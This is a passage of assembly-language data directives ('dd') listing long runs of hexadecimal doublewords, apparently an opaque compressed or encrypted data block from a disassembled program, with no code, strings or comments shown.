2B3FA480h, 0E0770B6Eh, 0EEA42DEh dd 0CE5EC824h, 4133BB00h, 18E32D3Ah, 12C1AA71h, 0D8394772h dd 833939FFh, 0A53F946Ch, 0AC6EA8D9h, 0CBE03EBh, 22CFBA89h dd 8EF42FA0h, 0E80012E4h, 0DE16D4F0h, 1714F611h, 0EBBF1E7h dd 1980E2BFh, 0EB922EAFh, 7430C51Eh, 3AEEEF00h, 10FD67h dd 16D37A28h, 99FE927h, 630D4B0Fh, 0EBC14099h, 76D1E25h dd 389A13F2h, 5485904Fh, 331E40CBh, 1C0426F0h, 0FB87EFh dd 2A809D68h, 0DA00538Ah, 0AC74AE5Fh, 6FA5C6h, 0DF9D9F0h dd 0D154238Dh, 0E3C33200h, 0AA55EBA3h, 368E00B5h, 0F6B37E17h dd 8300A9ABh, 3AA00F8Ah, 0E6AF2924h, 589401A5h, 68187F1Ch dd 7DC080D9h, 0FB90CB64h, 22523869h, 0E3406081h, 0C089359Bh dd 9A001F08h, 74665793h, 13BB1CEh, 0A325A7FCh, 0D1CB9E47h dd 400E8E20h, 17CCA572h, 58628400h, 0FC6BCE6Fh, 1974A5h dd 0D8E6F1CFh, 10CC09A3h, 68148430h, 0A0C970B5h, 92A6DFh dd 0C46D63B8h, 0CF2C86DBh, 0B9FAAD1Dh, 0B8C67C0Ah, 43D15D82h dd 2F9200Bh, 12165371h, 0A300C53Dh, 0EB95A6C8h, 7BFC0076h dd 464F0441h, 4B0FFA89h, 478ADE75h, 0A260C774h, 131586A9h dd 53DD8CAh, 0C3B374h, 0AF655ACCh, 3B07B526h, 60B8721Eh dd 0E3AC8460h, 6CC70705h, 4014A519h, 735A9E2Ah, 0D7799814h dd 663F00F3h, 965625D4h, 890EAh, 5E27E190h, 0AAEDCF7Dh dd 8BF37C00h, 83C5D975h, 0F6390081h, 8DA7EF78h, 349188BEh dd 73318F00h, 0C111D6h, 37EAD3E1h, 0BBADE2B2h, 0EEB04300h dd 236B1CD2h, 0C5D00069h, 0A63CD94h, 0A8036051h, 0EC4ADC42h dd 0AC08C8F0h, 3F240086h, 8171BD32h, 6B0035A7h, 3A12B91Ch dd 3F9D343Eh, 11603F93h, 0F0B0058Ch, 80EC503Fh, 88C11B5Fh dd 7B71B995h, 0D6A8005Bh, 0ECB40CB2h, 0EE0007B5h, 9A61CF5Eh dd 0EFC454ABh, 8D099440h, 95BE0029h, 0FEB7DE51h, 2817D191h dd 7F00EC99h, 7057697Ch, 3C2EC0CAh, 0AFA37D11h, 2400B890h dd 6CB56571h, 0E276B83Bh, 0AA32000Eh, 5C553F5Fh, 331EA611h dd 0A802F0Bh, 44E50DCDh, 43F3075Bh, 2264EE09h, 8814126h dd 0EC4D5767h, 35039FFFh, 0F9247566h, 98AE8B5Ah, 3BD3E7h dd 5B3195C4h, 0A212DC28h, 0C8DA9800h, 0A66272ECh, 3EBAECD8h dd 8200056Ah, 28AF67B9h, 530BCD25h, 74B5FD30h, 50C800E5h dd 19A4BA7Dh, 113B29E4h, 3D070443h, 0C48709B3h, 0B5FF9CC1h dd 4F26E99Fh, 15AE79ABh, 2CF77D80h, 5E23206h, 7500B0F8h dd 8D385AECh, 0A0719C0Dh, 17E50A1Ch, 0BD9D09h, 0F6ACF0B1h dd 410DD1BAh, 4131C99Ah, 300AE98Ch, 0B1F8AF78h, 7947A084h dd 4CB0C4h, 4969DDCFh, 531900Dh, 0AC8A320Eh, 2540A193h dd 5920910Eh, 3CF21DE6h, 0BA734094h, 6BAC7263h, 0C0F849ECh dd 99A95D07h, 79E0564Fh, 1D9F5348h, 14B7C6h, 0BDE56631h dd 853EEAD4h, 1E6B1EDAh, 6235BCC0h, 31ADE1Dh, 51AD8605h dd 7790A47Eh, 0BA007A6Ah, 2AF280F5h, 168045Ah, 0CAB83A20h dd 0E801C3BBh, 600040A2h, 0C222A31Bh, 96C15Bh, 788EE4F6h dd 0E5735C56h, 8AACD51Dh, 0C3DE853Ch, 7C80E9CCh, 0DDFAA5h dd 225D36DFh, 571337DBh, 9839ED2Ch, 0A0B8410Eh, 0FF3C2D30h dd 44AA00FDh, 4DA54679h, 663A2EBFh, 24AD809Fh, 0D71EB125h dd 0DD970EDAh, 0D834D89Bh, 4CE76D00h, 0EFF7F4E8h, 5C66A600h dd 0D11789D2h, 3F0492B6h, 3E801BD6h, 70B09186h, 2E30B447h dd 4628A1F3h, 73C77ADh, 3A934579h, 6CC9B195h, 0E450829Fh dd 405EBD19h, 304B0B1Eh, 7859B7D0h, 8F17830Ch, 0AE006F15h dd 0E24721DFh, 0FE4C00C2h, 0BD93677h, 0B848A806h, 82AF0554h dd 14903CC4h, 8B4D2Eh, 9E8A3A39h, 0D6B578Dh, 0B2E10800h dd 0EA692FA1h, 82B30FDEh, 0FD732Bh, 0CB0AAB48h, 3C0E9209h dd 802E29C7h, 0DE39EF1Bh, 0B12100F5h, 2491F6BAh, 6E707247h dd 63A39000h, 8D97F018h, 49821D52h, 0D505407Ah, 0B326FE3Ch dd 0C33020C0h, 7AB10CBh, 0AB94D9Bh, 48C9A0C8h, 0F250B7FCh dd 28C062C0h, 9CEE2C2Eh, 81B30031h, 96284B84h, 6F0085D1h dd 5073895Ah, 0E05CBD35h, 0D6794Ah, 0CEB7A263h, 0B1D7FE23h dd 3B4F410Dh, 5CE0788Ah, 3F700E26h, 820CFCFBh, 6E00A5B1h dd 764BDB08h, 429E55h, 9F9BE5Bh, 0BDE150EBh, 0F1E98C00h dd 72E2A8B9h, 18EC716Fh, 40A2E789h, 0BD014A8Ah, 3EE0FFD5h dd 1983EA01h, 8417242Ah, 0EE7E80F4h, 5B00CEADh, 83DAA75Fh dd 0FD96D691h, 1F49DC0h, 649E0A29h, 0C8FB89F7h, 3E002032h dd 0FE56BF40h, 110BDA4h, 0FF637C98h, 0D0C26280h, 0B60F8A30h dd 40944850h, 0CA4FCC77h, 7F7B1CC8h, 51440CD1h, 4A54510h dd 87826055h, 0ED005B29h, 78287EDAh, 5D58D7h, 2C0D9A23h dd 187A9B38h, 48ACE303h, 0C4744A2Eh, 6AD17303h, 0F529FCB8h dd 7E71DF1Ch, 64F79F0Fh dd 3680F35Fh, 0B0AE64F8h, 0DC900077h, 0FD9ECCDAh, 0FA00CF50h dd 0EDF82993h, 196751h, 1348A6C1h, 2D5EFE66h, 0CDBADB15h dd 2BF4ED70h, 110DC50h, 0D253C1C7h, 86D9F8E4h, 1EE0EB4Ch dd 51C0AC28h, 780B70Fh, 0DFD6322Fh, 0CE11CC29h, 2B01ABC5h dd 0DEA411B4h, 44780417h, 0F744CC13h, 0E1A044B3h, 44AAA444h dd 134ACB0Fh, 0A5BA083Ch, 1914B894h, 0FFA124EFh, 0A4A92841h dd 3510BC12h, 1B29C41Ah, 921844B6h, 33427048h, 0B5E72219h dd 52B13C21h, 11DA5401h, 0C312F83Dh, 11FF5C11h, 3E912851h dd 20AF44FBh, 1B7C7F5Bh, 802C29C8h, 5B92B920h, 8F004951h dd 9A31222Ah, 0EF5AB3h, 9C1A78E0h, 69B0814Ch, 0E53F6A01h dd 0D710B508h, 562CF4h, 1319CBF0h, 55BAF1B4h, 45443C00h dd 4A7762DDh, 0F5C10ED0h, 0F0E01F42h, 6E8FEDE8h, 0A0D8AE00h dd 877CA24Fh, 587659h, 0AD49081Eh, 504EE004h, 0DC82B2Ch dd 0E1CD4600h, 19ED35h, 0BC0D6D29h, 5738AFDFh, 1D0074F0h dd 0EF437B99h, 77A52Fh, 682CE3Ah, 7ED6C815h, 7B117001h dd 132703DDh, 65F43825h, 0A56F03F5h, 99A41B4Fh, 73CF16E8h dd 60226C00h, 0C25FD0B0h, 20A63C1Dh, 0F4A86480h, 77B76526h dd 0A90C1900h, 0A6379DC6h, 6BA5029Fh, 0D727EDDDh, 97F6C40h dd 9B2E6201h, 0EA40655Bh, 3BF56E8h, 0BDD63FD1h, 0A4834C1Bh dd 0B0E14EB0h, 51E51900h, 543EC9B7h, 8083036Dh, 1E536627h dd 90D016C8h, 2DE7A000h, 9EC72BA2h, 0E1A0A082h, 78FC3C26h dd 62236100h, 0E7D533F2h, 472E12F8h, 0A800F8E5h, 9351BEB2h dd 2D4500D3h, 0AF39D62Bh, 0C7006421h, 2F6E1FAEh, 5C2A9E96h dd 0BC008DA7h, 0F2135CD1h, 71243D5Ah, 0D830489Fh, 310E168Dh dd 0CEA84F84h, 9BE5C815h, 3967A700h, 0E3CDDF95h, 0E11D0096h dd 898F4A3Ah, 56071161h, 1664CE52h, 0D308ECE0h, 977154h dd 1FB2F72Ah, 58DF8C99h, 7D523800h, 44C3C6FCh, 162100F1h dd 0D8E7CB1Eh, 0C100AAC9h, 1BA0D7EAh, 0B5F5ADh, 0C8FB72D4h dd 99FD603Eh, 71F22F6h, 7A4002C4h, 45788A51h, 3B9F0EC9h dd 4D40C6B2h, 659920F1h, 68135A01h, 270452ABh, 1F9C3ADCh dd 44D32E8Dh, 8046A535h, 0FE75414h, 0FBDF7300h, 0AE5F7174h dd 20AF016Ch, 57EAD880h, 81622028h, 0C67FC8A0h, 7B8D3600h dd 0B61CAA71h, 0C7FE2E2Fh, 1AAE0017h, 0FA7386A1h, 3A403906h dd 7E649148h, 0B1BF006Ch, 10EDBB94h, 7A03097Bh, 0BD307F0Bh dd 77300176h, 890CBA69h, 0A9EC4046h, 0EB1D632Dh, 34001F75h dd 4461D837h, 0FAE73F03h, 28AD2005h, 0ABEBC030h, 27003FCAh dd 99C932A1h, 98CB9Fh, 64B435E0h, 85813CDCh, 0BF2F2700h dd 26EA9533h, 3BA1010Bh, 36B1D0C6h, 0EDD8309Fh, 9700A6F4h dd 0C5D3EF2Eh, 0DE4A3Dh, 0B32665A2h, 0B05F6084h, 0A4FACD0Fh dd 0E301579Eh, 25C31F0Ah, 7F3CF970h, 0D07600C8h, 92F1DD24h dd 14989EDAh, 53B6C300h, 1D72B06Dh, 9820E3E9h, 1A990087h dd 65E3D808h, 0BB00E04Ch, 5F8B7CDFh, 987EB574h, 0AA3D0028h dd 0D80E2561h, 0AD00CF98h, 93900DCBh, 39AF4C8Bh, 384DBBD6h dd 0D13AF70Fh, 13BE4061h, 48396054h, 30001090h, 9ABCC387h dd 1252A17h, 230183E1h, 0C27C4E64h, 0BC80F842h, 63599C40h dd 6CABE400h, 6BE5122Dh, 7A0B0A45h, 394E815h, 0D41A2C84h dd 0B135C0FFh, 190029ECh, 0F64D0E34h, 6079C8h, 9AB5ED22h dd 0AA9D5736h, 0A3A86504h, 0C0AB472Dh, 0E1F2ECCEh, 6A1D247Ch dd 0CF8028E5h, 16FB6E44h, 7DD7001Fh, 3458455Fh, 84003EA9h dd 6AEC0C94h, 8E2F90h, 8B43CEAh, 0A30BA150h, 0FC028D2Ch dd 21577A0Ch, 0DA5002Bh, 3CDF8A7Fh, 48E68112h, 0C2742D07h dd 67805864h, 95DAD7h, 0A0D07891h, 0AAEDA12Bh, 0A8240D00h dd 0DF54CB59h, 0C2081C88h, 1066E1h, 7404C73Dh, 4D1D2DFFh dd 164046FEh, 0A957D78Ch, 0FC8E1CC5h, 32CDC114h, 0C81F794Bh dd 66003B31h, 26569E41h, 1383C86h, 8EA74463h, 0B3275Ah dd 5407731Ch, 3BE1ECFCh, 5222AA23h, 0FD4E3B01h, 462F982Ah dd 132ACBE5h, 9C1C005Ch, 0B4513D92h, 127D709Dh, 0EBC5C0h dd 0BED94730h, 0E7F96C3h, 94882E2Ah, 857D6003h, 901D6337h dd 6BC224Bh, 50C5A62h, 4F0154B4h, 9F58D146h, 67E86880h dd 0C9A307D9h, 0C0F17BE7h, 570EEF5Fh, 0BB445C1Fh, 401B39Dh dd 0A4C8072Fh, 1D6316F0h, 40F782FBh, 0EF5C56CAh, 1A4C8965h dd 4E27004Ah, 0E42C907Bh, 0FACC0116h, 0B5D594A5h, 0A2802430h dd 0B7E09E00h, 0BD84B0Fh, 3FA3000Dh, 5A72AD59h, 38008B70h dd 0EF9E0586h, 12356CC5h, 40796B31h, 3A97F9E4h, 511EB813h dd 0F02D007h, 60E00B41h, 0F724568h, 76DE1446h, 29084076h dd 0A044ED4Fh, 83A4D500h, 7C4A9166h, 0DE420469h, 8037FE63h dd 98827FE4h, 1906E4Ch, 741E9F11h, 0A0C496BDh, 0BC4A5803h dd 0FEAD0600h, 0A8415CD9h, 30603300h, 3B4F2F1h, 2F29829h dd 0A6BCB94Fh, 38C4932Ch, 0CC564800h, 0BD1E0917h, 0B75500C2h dd 0A04331FFh, 5A00E9C9h, 6408A7A8h, 1593A0Ah, 0FD670E19h dd 0CE0FEC76h, 0AF58E0C0h, 554CF402h, 43735917h, 2F42A893h dd 7F06001Fh, 0C09D0E48h, 6300A685h, 0B944512Eh, 67B0D5h dd 0F60372F1h, 0CD685BE8h, 467E1A00h, 0CBD09F6Fh, 0CF6D006Ah dd 2A0B75DAh, 99015CEDh, 0D7DD4709h, 0B8CBA88Bh, 38C931BEh dd 6993E7DCh, 5E5800F4h, 0FC81AC01h, 83E33Ah, 0EAE1DAF8h dd 9EA573h, 0B551F971h, 0AFD796B1h, 7B75BC07h, 0E9C087DFh dd 0E02F675Fh, 44E200C3h, 66970EA4h, 9205FE75h, 62FB4CAAh dd 0B06EB80Ah, 9B2FEA41h, 0ECE929E4h, 0EB7D8Ch, 0F327C9B2h dd 0B44DB74h, 0D8FE49h, 8FC44E60h, 1E846611h, 0C7300CEAh dd 1FF0CB49h, 47FB814h, 21012CB1h, 92A88005h, 0C605BEC8h dd 54641CA0h, 901A5C83h, 0EEE8ED57h, 189902FEh, 0AA4CCD20h dd 0C96ADC40h, 9D095D76h, 8062528Ah, 39E8CCACh, 0EDBD0076h dd 978B23F6h, 0F200C8DAh, 0C91DEAB0h, 4827C6F4h, 0E500AC1Ch dd 5EC4EE50h, 500AF02h, 1D78D2DFh, 3A60B0E2h, 0F880A4BCh dd 39BBE5D3h, 630FA14Ch, 6E61202h, 0C808ADh, 3B41ED53h dd 0E22FC8A7h, 2C452326h, 0C6F77480h, 0E5CF49h, 0C76D6F2Bh dd 11646832h, 39F9F207h, 93505923h, 70BC172Ah, 7EDF0358h dd 62D23718h, 0C9EBF7D7h, 75336500h, 8F316B2Dh, 2EEAD09Dh dd 0D566E0h, 93DF3E6Ch, 3DAE5B77h, 369D0600h, 88ED7BC5h dd 45801D17h, 0B39843EBh, 1A80A82Bh, 910011FDh, 0C34B49D6h dd 20043FA4h, 8B108FE5h, 0BA005825h, 0A61F282Dh, 0FD00ED37h dd 0F47B50FFh, 7A39ED9h, 0D340A88Eh, 5C40190Eh, 76F042E8h dd 43CACB0h, 0E52700B6h, 4CA211F5h, 0AB200049h, 0BD5826F3h dd 0D05658Bh, 0DEA4BBF7h, 841D9401h, 6A70BA4Ch, 0D43E05D5h dd 0EF50D3Fh, 4DA49194h, 5A1480ECh, 60B7F6DDh, 22BD0Eh dd 0B65F9EEEh, 0AAC52075h, 0FD0070B8h, 4D6CB471h, 70C3570h dd 1A91E8E1h, 30D7C027h, 0C72E199Ch, 591A045Eh, 0A04C020h dd 0F09448DAh, 0BB9EB839h, 0CDCB408Ah, 0FF0B1C8Bh, 985F5Dh dd 0D8B18CA0h, 0A90DC3h, 391BDC9Eh, 6FEA488Bh, 6A00C7FEh dd 16F4865Bh, 0B07ABCh, 54652273h, 0A9BB2361h, 8CE06806h dd 1874A5h, 0E9E689AAh, 1601C446h, 93529102h, 0E0A03B02h dd 4BDB75h, 0BAA6F362h, 34D686C6h, 50985239h, 22007DC0h dd 0CC68A5CAh, 81849Dh dd 1AE1B31Eh, 9070F2AEh, 51D5701h, 0D9F865A3h, 0A0BED6FCh dd 9DBAD8h, 20471B40h, 5B94A73Fh, 695E3Fh, 8BF761FBh, 14713D6Ah dd 0AC40FA8Dh, 5A5EC807h, 0DB5900B1h, 0F001709h, 82737928h dd 20CF9Eh, 0ED4783C1h, 0BA4AE13h, 92F59C00h, 0B8714F4Ah dd 0CD6600ECh, 17DF73A1h, 0D000F999h, 7E4907C6h, 1DC833E9h dd 0CE92F2D5h, 5FE12C68h, 70746C76h, 0D3003CC6h, 0ADED58BFh dd 45A293h, 6D605D3Ah, 84DFE8F1h, 0D0018E8h, 24B5A6F4h dd 0A37E6C1Fh, 5C3280B0h, 73891E74h, 4BB240CAh, 0FB8DE957h dd 0EC8B7700h, 0F1432667h, 407560D0h, 20A4D2C2h, 5BFD4F00h dd 0CA52331Ah, 26DC00EFh, 5A7E650Eh, 161D9E8Ch, 0D900CD1Eh dd 6E5D9787h, 3B9F0184h, 78E0F494h, 7B80A6CCh, 25995000h dd 3FFA8Eh, 9E4F8C52h, 7294D431h, 0C3BD600h, 847F6C48h dd 749C0058h, 649F517Bh, 4101BFC5h, 1E4C4ABEh, 9E0D19Dh dd 37F600A2h, 1AEC7B9Eh, 627AAECBh, 34EFAA01h, 808A984Eh dd 7847CFC8h, 6F39001Eh, 52F2B39Ch, 82006E71h, 6A62D875h dd 3BFC4629h, 802EC540h, 0DAAD09E5h, 0EEB26B00h, 99007914h dd 202BD9E9h, 985C17EBh, 0F82018Eh, 0DBBDD58Eh, 58208084h dd 873C39ABh, 24AC9AB0h, 75E66C6h, 40250CA4h, 26A7CB70h dd 2D7C2109h, 5F9060B1h, 5E130B07h, 0BC200810h, 930BC5E9h dd 0D8BDD413h, 38F5A440h, 3B5A3D0Ah, 9D00A43Bh, 6271F6F1h dd 9700C08Fh, 33B226B1h, 0DDDA5Bh, 0BBCA0FC9h, 74AC4A86h dd 25645058h, 19BC90BDh, 1DA70072h, 57B00540h, 5CF84BC1h dd 0FB667000h, 2560924Ah, 0B498DCh, 0D4B51E45h, 266A36D2h dd 7DBC6324h, 2502C303h, 14A000ADh, 2F7DA616h, 0C60086E1h dd 6337AED9h, 1E929ACBh, 80650536h, 542E46D3h, 660484EEh dd 0AEEF5776h, 26E828C0h, 2BF300FCh, 65D69ECh, 19308541h dd 0B130A633h, 3FE290h, 3CF7898Ch, 9FB30873h, 980B453Eh dd 8AA8C948h, 0E45E0037h, 1D95B7A9h, 57137CA7h, 0BC03D9DBh dd 0A12246A0h, 74707191h, 1D251FA8h, 0B87201ACh, 0C4A1734Fh dd 9F0FA4E0h, 0A061B5D4h, 70811EC6h, 40570396h, 0BE8F3E7Ah dd 2E10BB8h, 0DAB72E00h, 7948302Fh, 36EF0018h, 53646CA4h dd 9124C1FFh, 4B0025A3h, 0D63CCB75h, 0E06B79C5h, 0E7C300CFh dd 67FC2F19h, 7D00FDABh, 5B702E8Dh, 4423C2Bh, 0ED85DD6Ch dd 3754C1D8h, 1A36E835h, 30EFCD2Ch, 0CF5F0F81h, 1060F41Fh dd 5C570095h, 0DF0B4CE1h, 7A0637D5h, 0F3E27356h, 0D9D89720h dd 0FD2E7F1Eh, 5E87B900h, 6612F05Bh, 403610F5h, 20D3A50Bh dd 0B7075F6Ch, 0B76173CDh, 91E295C2h, 9C9C0Ah, 0CF346A20h dd 82787E05h, 0AD4A2C05h, 54C03670h, 0F9C65A8h, 881E56E4h dd 0C8F6AC81h, 6D142076h, 82E7EC00h, 89F5178Bh, 565218C4h dd 0BEAA60F8h, 0AC5A5F7Bh, 0DF6C3004h, 0E3555480h, 0C42B0248h dd 4733AA2Eh, 0F2426848h, 1C947300h, 18776323h, 1BEA266Ch dd 816987F4h, 49824907h, 0A448E915h, 0F50313D0h, 0CFD90820h dd 6B2AB139h, 0A3D1270h, 0DD0ECAEBh, 0AE588098h, 0CB3AD41Dh dd 74056C24h, 64B1A882h, 44C0807Dh, 1416269h, 0EAA55E5Fh dd 87DB93DDh, 5A76D669h, 11E276h, 0E03E1DEBh, 65607568h dd 2600B090h, 0DEFF599Eh, 0A0D5C6A7h, 9F5F4h, 0B8572262h dd 0FEB402F9h, 74005A72h, 0A49E978Ch, 73215BBBh, 323D0F26h dd 2C401FE4h, 0B22BEE6Bh, 8AA3A100h, 25CD6163h, 1DBB5ED2h dd 4F0B8014h, 43DF119h, 72AF6E00h, 35F2F69Dh, 0E5310556h dd 0D06690C8h, 0E3B61230h, 0AEDCAB50h, 0CE430084h, 34C3959h dd 6F004DAAh, 9947C8BDh, 7ABC0495h, 0E7B0011h, 0E26D1C6Bh dd 0A5002B73h, 0E66AB961h, 0FDEDA2Dh, 6367D72Ah, 9ECA0DC0h dd 0F20045CDh, 0EC356508h, 0FE54E6h, 0F06733DBh, 8FE290BAh dd 1C03E8BEh, 0B8AAA08Bh, 0FC0EDC94h, 0F2113078h, 80F889A1h dd 0CB14AB01h, 5346B30Dh, 0E318C24h, 4A50E787h, 32851A80h dd 4126D8DEh, 7B9FC01Bh, 0C19A5833h, 5180A68Ch, 35839480h dd 8E00B036h, 0EEEDE05Ah, 0CE6FFE95h, 90A0FC59h, 3807F537h dd 0E55D6301h, 45D93DF7h, 44204F02h, 40927D3Bh, 0AE0093ADh dd 0D0F5951Ch, 1C464E55h, 4A0E9E27h, 0BA2409E9h, 99E2F080h dd 8A181C77h, 69B56200h, 0BFA140DBh, 3F50B86Ah, 7DFD3Eh dd 0B3CCF3A8h, 0DC5B92AFh, 0EAC36326h, 0D899D600h, 41E9F5h dd 1DF1A273h, 2BB3B169h, 4049EA00h, 0FF48A8C0h, 2BA72DFh dd 7645E0C5h, 2BC04C0Fh, 4F007B66h, 0FC229A24h, 2DADE9h dd 0B7B0D275h, 83B98F11h, 7BD70500h, 0D6565009h, 300A0094h dd 603ABB10h, 4F2C5D01h, 89070099h, 6DC1AD1Fh, 0B2E0E306h dd 0AA5A004Ch, 9103696Fh, 47071693h, 8CF5EB0h, 0F02E2940h dd 30D2001Ah, 31D4C537h, 94A0E3F3h, 1D06E7DBh, 25C719ABh dd 5FD80070h, 0D9D2A856h, 9F00717Eh, 0AD7D61E9h, 0AB52A5h dd 3D6B4365h, 0D2C8DB14h, 69389D00h, 10C28CB5h, 226C163Eh dd 38C001Fh, 0ACDD0FBBh, 5B235007h, 7BA0B042h, 0FE9B0D74h dd 14D60031h, 882F15E3h, 30F6F04Ah, 0B9750B00h, 160E1AF3h dd 0B4B63EBFh, 0E2533D81h, 202FECA5h, 0C8A1D788h, 43C43093h dd 50C4FD0Eh, 810C2922h, 0CFA481ABh, 0B80B16C0h, 91633F04h dd 0C1541C83h, 90C3E06Eh, 66D0ADA3h, 623F88B4h, 30C30B87h dd 0B10CE03Dh, 9F1B0059h, 2C88F57Bh, 0D0131931h, 0A85E2047h dd 0A4E404BCh, 649C94E6h, 246C00AEh, 0D606B1C4h, 183A0CB7h dd 79EE8008h, 27D246D4h, 0DE7C0073h, 0C14A920Eh, 46B005C3h dd 0B316049Eh, 982D90Bh, 2C60107Eh, 209A5D52h, 0D3FD2800h dd 0AC313011h, 160DE59h, 8247E7Ah, 0D8806C7Dh, 581E8A78h dd 8B0D54Eh, 3CBCC00h, 0BA46FD4Ah, 618ECBBh, 2808251Ah dd 0A1007875h, 44F25C3Eh, 4E090F01h, 0E1A4001Dh, 0E276433Dh dd 0BEDDD100h, 554E9A1Ah, 97260B2Ch, 4060583Ch, 93487FE6h dd 0D1D20ECCh, 0EE0B40D6h, 2CA9570Ch, 9008F805h, 3311C060h dd 0E23E6CC3h, 7C9E1E71h, 0DD80FB4Ah, 76618144h, 57008F9Ch dd 27798A3Ch, 6094ECDEh, 38AFC27Dh, 0A8028CF9h, 310DC51Eh dd 98C45Ch, 0E9EB5EABh, 0A71C97C2h, 3AE2EC00h, 5CF50425h dd 4BD50B02h, 0D7B194h, 1AB57581h, 3ECEC18Eh, 0D87F2D95h dd 20589376h, 800D3EDBh, 65DE1656h, 0E261D914h, 12E07E67h dd 741A28Ah, 3A083208h, 1580BEE0h, 0BFC566FAh, 4090386Eh dd 0E9028DE0h, 43449F32h, 6C98E0A1h, 97350176h, 7CB57BBh dd 0D83CD8h, 7D4790F9h, 0E53DCACh, 0B9CF9DA1h, 0D55582A0h dd 0ED0005D1h, 306FC3Bh, 1DD8115h, 5A36E8F8h, 0C41012A0h dd 0A3091F5Bh, 85CA0222h, 94C1C1A0h, 30702D19h, 83A70361h dd 0BB8511E5h, 307D28C1h, 5200EC1Ah, 0A2F91B9Eh, 18E8B06h dd 1F5FFDCCh, 7019136Bh, 0AE4AE084h, 0E3CFD400h, 2DFB589Fh dd 84900E73h, 11013341h, 9DE72BB2h, 3CC0771Ch, 6E9F073Dh dd 0B03BC384h, 0BA505AA7h, 61CB9200h, 6AC53FF2h, 677138h dd 9966DB79h, 6C60739Bh, 0EF2494B8h, 20002CFBh, 0C2CFEE52h dd 3FB17345h, 53249482h, 0B98A00C8h, 0CBF0C693h, 0B43F9D00h dd 5D8E3BE1h, 151200E6h, 0D84DD77Ah, 2500A13Ah, 0D3928DAh dd 1F4A4Bh, 31B41D95h, 0C96EE9A3h, 0A41EFC00h, 0A85A17C5h dd 39872D2Bh, 2E3FE438h, 9CDF901Ch, 0C6F782FCh, 0C00B0466h dd 38D4313Bh dd 500EB496h, 19407326h, 32A987BAh, 157D3F00h, 0FA62D511h dd 40930BF8h, 0AE83B36Eh, 48F8DC37h, 8F721ABFh, 0F6728007h dd 6D717EEEh, 0EC3EF03Dh, 8FD00FBh, 0C7ACAEA0h, 81C91E39h dd 143E0040h, 4F1523CDh, 0A2DA4200h, 0CE22FB0Ah, 2A1B00B8h dd 0C40D7FAEh, 0AC0134F3h, 0E70A9751h, 0E0E08F0Eh, 48FAF728h dd 705ACE68h, 0A0FD00CCh, 0F0069095h, 0C603D8D3h, 5717BA07h dd 9CE89844h, 30F325E3h, 0E1F0D060h, 653E5F00h, 286453DDh dd 0C6870029h, 21D0AD4Bh, 812E10Ah, 78D83815h, 4CF407B5h dd 0A9627E87h, 0AB5FCE83h, 0F185EED0h, 0A659A900h, 86823C92h dd 0D4AA00CAh, 6A633743h, 0E70577C9h, 5848A0BFh, 21A3B9C0h dd 1C410099h, 0B038FEADh, 0F600732Bh, 2A22681Ah, 95DD19EFh dd 0DE9DB480h, 0F704858Fh, 0FB553CF3h, 0B8C29E80h, 8798B4AEh dd 871A63CEh, 515081D6h, 0AF33F438h, 0B8C910C0h, 0BAE44A4Eh dd 3CD8A004h, 0A33A3CE8h, 0DA8F9800h, 0CA9C1F9Fh, 0D5829100h dd 4ED10FD0h, 0B4AC5h, 1C907CBCh, 0CC03AECDh, 0B0E5920Dh dd 1BC1B8F9h, 0B8E35A27h, 0D39002CAh, 0C8A4060Bh, 2ED19F34h dd 0A7B0D5BCh, 61D3BC22h, 2301AC60h, 538ACC1Ch, 981875C0h dd 0DE5652h, 2219F39Ch, 6D784B4Eh, 0F189A60h, 0A38E03h dd 1560905Dh, 85E3971Dh, 6139D40Eh, 944F4033h, 509FE4B9h dd 440A72Fh, 0E6F07B58h, 8FF0C772h, 0A745C962h, 992DBC50h dd 9A7886D3h, 0B82148BAh, 2075A280h, 0DE00D808h, 0E3A67B12h dd 3F3AD0h, 0C5948F2Dh, 2BA1F7C9h, 0DD87B607h, 0B4F12908h dd 808522A2h, 40A71370h, 9D35F894h, 95028896h, 51C122EAh dd 1E888323h, 6DDAC13Ch, 3FF4A030h, 0A62CA940h, 0E6C8AA0h dd 31DE80B4h, 0F0FF2D77h, 3BD9125h, 0B048E9D8h, 98B490CDh dd 0C81400D4h, 0DDED1019h, 1A000A87h, 9033A2F7h, 51AF8AC0h dd 0F8C9E456h, 8C9C34h, 20F1FFDEh, 8911CE88h, 0A0D6C300h dd 0EC18721Ch, 4B6500E1h, 8B22F9EDh, 0B91E5B8Ah, 634073DEh dd 0D70AAF29h, 4C70ECDFh, 0EB084016h, 9D4079C6h, 0E534981h dd 36EA55B8h, 60924B41h, 80DCE902h, 0A2931E0h, 3F1B8105h dd 373EE184h, 0DF857B09h, 20002450h, 21E65CF6h, 0B5A6E0h dd 96D6E28h, 47A80C18h, 431DCB00h, 0A1545F59h, 8FD70BC0h dd 6D00E6FEh, 0B56E99F2h, 4100CA79h, 8B820557h, 3598096h dd 519A896Fh, 0B4C009CBh, 4F028CEEh, 0BCD86986h, 2DA54193h dd 0BC20C2A7h, 35D96E80h, 0E2C67801h, 0AF044F48h, 0E0EB5ADCh dd 0AE8F144Ah, 1B26D3D9h, 51CE80F4h, 9E99117h, 283BD012h dd 0FA10ECE4h, 48292C43h, 24BB0567h, 77F8A0ABh, 0A42E4000h dd 654571B0h, 8F6E003Ah, 0D7EB6B38h, 0B4A0158Dh, 4D00D16Fh dd 4E77D33Bh, 0A0CEE7DBh, 7030179Ch, 16940BB0h, 43806203h dd 0D78A1E3Dh, 9DEEACC5h, 9249B200h, 0EAD669h, 5A30C07h dd 10320E7Ah, 0E090DF25h, 6C1450h, 687FCC50h, 834C9957h dd 0E0852725h, 515C17h, 8F95A421h, 0E2ED33E7h, 19B7D900h dd 86A0C396h, 13A70446h, 0AC52426Fh, 3510048h, 0F4A31C54h dd 876C0026h, 0CA6E08FAh, 2400C294h, 3E19E013h, 18E925h dd 6FAA603Fh, 27F74362h, 0AF04A4B0h, 782B752Fh, 88CE3E0Fh dd 0F298D941h, 8033CC4Bh, 0A1D15A00h, 5999A247h, 0EB640182h dd 816FA0D4h, 7E50303Eh, 42BD3303h, 0AA4B1B98h, 0CD40DF22h dd 0C509787h, 0A2095FB0h, 5A683A1Dh, 70D25894h, 2637FD00h dd 59A3FCECh, 3D07EE1Dh, 0BCA7DE80h, 4C36314h, 66FD50F7h dd 99C8809Ah, 9EB0119Fh, 4E04A27Bh, 200BBBEFh, 0E0B39980h dd 986A0B83h, 4C84D2A6h, 0E198C749h, 7035F7FAh, 0E400F64Ah dd 0F4B17C2Fh, 0CD482Ch, 0DE01FFD7h, 0EC8E4723h, 16D5A3Ch dd 46903D8Bh, 5470E151h, 62530277h, 63BAC238h, 9B036C56h dd 0B023893Dh, 0F15248h, 